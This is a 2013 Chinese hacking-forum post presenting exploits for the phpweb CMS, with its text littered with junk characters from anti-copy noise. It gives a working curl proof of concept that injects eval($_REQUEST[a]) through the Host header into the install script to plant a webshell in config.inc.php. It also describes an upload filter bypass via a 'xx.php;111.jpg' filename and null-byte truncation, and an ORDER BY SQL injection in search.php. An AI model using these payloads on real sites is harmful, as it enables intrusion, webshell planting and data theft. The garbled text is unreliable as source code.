找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2377|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
# b* O" S- z+ J: I" \& W3 c& S3 k3 v, r: [1 }5 D- f
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
" W0 S- v3 w9 }! u9 K" w* j- M - m6 |9 }1 l0 C2 |5 e3 ?( E$ q, h7 a% A
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件$ n) b, [* |) ^) R# B0 n1 F
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
9 h' _/ f( s, O; \; y& s - R5 z; D2 p4 F3 H5 i
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
. B7 ?3 i) G  V5 I1 ]% X9 L ' \! R+ H/ `, _( x+ `- k1 j
分析:9 I% ^$ Z3 v  J

& i" n+ {0 f. q9 c+ `' O
) U& r1 V: `  ]6 q2 E+ d$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
% C/ d1 G& ?# s# G$ M
( N! u* n, d4 ]; i                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);8 s8 a( v9 |, o) F# F; S' _$ S0 g. f
                                            $filestr=str_replace(" ","",$filestr);7 E3 O% _+ Q+ |/ [" _; d# I4 q
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
3 X+ Y& T! l4 b9 l                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);9 H6 F  W/ S' Z8 H9 v8 V2 ~
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
  o% G7 z  Y2 V9 s                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);3 X( L- J1 \& @$ Y8 v$ s- ?: @/ u" [
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);/ g' H& ?! a3 j4 T; X8 h1 S
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
1 J0 B" l: C& z9 M, g0 x, g                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);$ \/ l  ^1 w! O4 j" A

5 O5 b9 o$ |4 `4 A4 |+ X! d# x                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
+ D+ t2 b- [1 G+ a' }! A$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^( B/ d* i# r4 h- d; B5 N

- N/ v& d1 n' Gpoc:
0 {4 f4 }: ~+ r. R" S
( i5 v. Z  r) [) u2 D?
7 ]' E! D: H4 O1
" f' s& m+ u3 ?( j/ r; H; lcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
1 p8 Q6 V) {, b  n& k$ R- Y/ u' dshell地址: /config.inc.php8 i3 ]5 ?8 O% Y
跟之前的 phpcms一样 需要远程数据库
- B6 C$ h( l+ |+ G8 @9 b& X & D# B7 r% X% A: G; y& g
——————————————————–/ G" ~2 s' F7 _8 U2 }9 p
上传漏洞(需要进后台):
' F1 {3 ^; g( H# b漏洞文件: /kedit/upload_cgi/upload.php, H9 |) {0 A8 K* r
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用) C, a1 t$ s% h3 i7 W

. Y, T+ m: [+ i / m& t8 g; q3 ]# a1 j
<?php
: m' I. ?6 ]; B7 w% O    define("ROOTPATH", "../../");  c0 P. Z/ x' n: e+ l  k
    include(ROOTPATH."includes/admin.inc.php");+ n4 ~) _3 E0 ?7 g$ [, ?" b
    NeedAuth(0);
4 I3 E( [# W" |: f
; ]/ Y1 w4 `% |8 e    $dt=date("Ymd",time());
' p! Y8 e, H9 A/ r- I, |    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){: V3 B1 N% T6 T
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);8 J/ v* G4 J1 l  t% A8 l& N) S
    }
7 @7 v4 i8 B8 V2 |% @3 ?
& _3 ^- ^. q$ m4 M8 R% a4 v9 F    //文件保存目录路径* g5 X, Y# s" D0 e) X" U3 Q
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';' x: E, ~  t+ B  _+ o
    echo $save_path;
: u- Y3 C+ A) N+ O    //文件保存目录URL: ?' {$ f+ G2 T) }( Y3 M
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
0 T' B& T2 F" x9 I1 q( O/ z
2 Q, y1 o1 n+ Z, e! ?    //定义允许上传的文件扩展名
* K3 Y; K+ L; _; {    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀" V( ]6 m. g- _& C* `% Q
# p& W$ w9 m" ?' I
    //最大文件大小6 I3 K9 q1 D# Y2 V, Z( S
    $max_size = 1000000;* z2 `  {# N( m  B

: M+ X6 u0 Z0 N5 n2 B* E1 W- r+ N    //更改目录权限/ g1 e+ x" `/ {' [$ z# W# G" n
    @mkdir($save_path, 0777);
0 @8 x/ ^- c# k& _
7 J* b! A& Y( [8 ]7 v. y    //文件的全部路径8 q) r4 x$ V7 a4 f
    $file_path = $save_path.$_POST['fileName'];   //保存文件名0 t; x% e4 Y. R+ z3 W; w

! F0 ], T) P$ x1 d1 Z4 U  I5 a. @    //文件URL
4 T8 g; c) h7 z  W8 z! r    $file_url = $save_url.$_POST['fileName'];# g6 M! m+ I/ s+ d
//有上传文件时
0 G! i' x& G3 l! X! m, s' r    if (empty($_FILES) === false) {
% s5 g" v; Y& R/ r ( h6 \. T7 U3 N  Q
            //原文件名* K$ o5 l$ M* ?+ l' \2 L( x
            $file_name = $_FILES['fileData']['name'];
5 d) W& t* b/ q* e            //服务器上临时文件名( }- ~+ W# K+ ?2 L
            $tmp_name = $_FILES['fileData']['tmp_name'];
& X8 R+ b& W0 T8 W. h$ s. \            //文件大小, {, j- e' K5 n9 t1 z4 |5 R
            $file_size = $_FILES['fileData']['size'];
; |7 V& S5 R0 ?- ]+ T& r0 f            //检查目录/ ?! j3 U2 p; F% |6 @! ]9 c
            if (@is_dir($save_path) === false) {0 r: w9 T* P1 O1 d, H6 c: G; ~
                    alert("上传目录不存在。");
! a2 d. z5 g; F; N2 g  _            }, ~0 T) ?! q8 r- _; e
            //检查目录写权限
3 x" y6 O; n- g            if (@is_writable($save_path) === false) {+ }7 d) q" A8 j) N1 d. y( J
                    alert("上传目录没有写权限。");5 j2 m; ^$ ]1 g, h( B" H  g5 e
            }. K3 j- G" @" Z1 ^  C. t! A
            //检查是否已上传
8 \* A6 y  s) y! I            if (@is_uploaded_file($tmp_name) === false) {( a# }! ?1 n4 R3 p2 H
                    alert("临时文件可能不是上传文件。");
- C# @0 q: n, d0 J            }. s! T1 W# @! ?. Q
            //检查文件大小
' d/ W# B( O" n9 G" Q) ^1 V3 Q            if ($file_size > $max_size) {1 [0 G6 h' T" Z
                    alert("上传文件大小超过限制。");0 C- z7 `; |8 d( G1 t/ P- `
            }
+ i) f* r$ o! t% A. x' _$ j* E( Y            //获得文件扩展名
0 k5 O" V' z" {( q% y4 O2 P- E            $temp_arr = explode(".", $_POST['fileName']);: B, O/ S4 I; U6 C7 c* P, p' }
            $file_ext = array_pop($temp_arr);
8 u+ \" _( ]. `9 \7 ^            $file_ext = trim($file_ext);8 M$ `* ?+ n& M" e$ {
            $file_ext = strtolower($file_ext);
1 k7 _# I, ^7 B  m
4 j/ D. J4 V) w) p  c            //检查扩展名   4 I" a3 L: ?6 @; O
            if (in_array($file_ext, $ext_arr) === false) {     2 C$ a. r( X4 [1 u  @0 ?3 O* L1 @
                    alert("上传文件扩展名是不允许的扩展名。");
, `( `# ^8 `6 M" k- }4 Q' c) [            }
, G4 W. p1 P9 q9 k4 A% B
9 ]2 D. V" v( d) E5 ?1 P& s" z( N            //移动文件   
) Y5 Y) \8 S% V; I' G! J3 x8 ^            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^* J9 c. A. v; @; j
            if (move_uploaded_file($tmp_name, $file_path) === false) {
6 T9 H3 h+ O- j! Z2 S" i* f                    alert("上传文件失败。");* y5 ~# [; I- G: L* Y) l
            }
2 {, A( W9 F# m3 g1 l: j
9 ~. `+ u1 F, g            @chmod($file_path,0666);; |  {8 R5 ~, d

& ~- p" T. _4 w2 v3 e. _    ?>
) k9 D3 ?; i0 `- Z抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2275 G0 m* E/ E5 m1 C
7 \9 b# l1 l" o4 ?5 V" A
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过8 g- t4 D( I/ ~* K
6 g$ K# u% \1 F7 U- a9 w
——————————————————
6 t& z% L, _8 I0 n注入漏洞:+ Z: D7 k6 h1 A9 q9 q9 C% j( l9 q
漏洞文件:search/module/search.php
+ X6 V9 S* N; F  W, M/search/index.php?key=1&myord=1 [sqlinjection]
8 v+ }: q% v2 m$ r$ j3 ]
- r4 H! a. |( N8 T& L" X , Y7 [$ z1 ^  k3 G0 G5 v
<?php
$ n0 z% J9 R' f4 J   //       ... 省略 n 行...
1 n+ H) F8 F0 B   //第18行:
0 W+ f* w+ Y$ t# O% t8 a3 Y           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响, K/ [2 b5 S: H  k& f( ~
           $page=htmlspecialchars($_GET["page"]);- H' K, k4 S0 @2 a* x" F
           $myord=htmlspecialchars($_GET["myord"]);- m$ C$ g* ]7 D2 a% L* j

" P2 L8 `8 \$ {% w5 q; `3 x  y   //       ... 省略 n 行.... ]& u1 A; c8 U% _1 u$ g7 U- z
   $key,$myord 两个参数带入查询( B( j8 s) y2 ^6 H- @8 p9 ^
   //第47行 $key:
5 O/ r7 k$ ~- v& U ; h( C% V( L0 p" y; L
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
3 U$ _* d8 U# _) o
& \5 z8 O2 D$ W$ a: C2 z6 c   //第197行 $myord
" U; \7 k3 c6 }$ q( T0 n  u3 W5 {   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入0 z5 M* ~7 K- s7 U; s
  c) h4 x# i3 z# k; z  _+ n
   ?>& v) k& U9 K, @4 A; X, V, X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表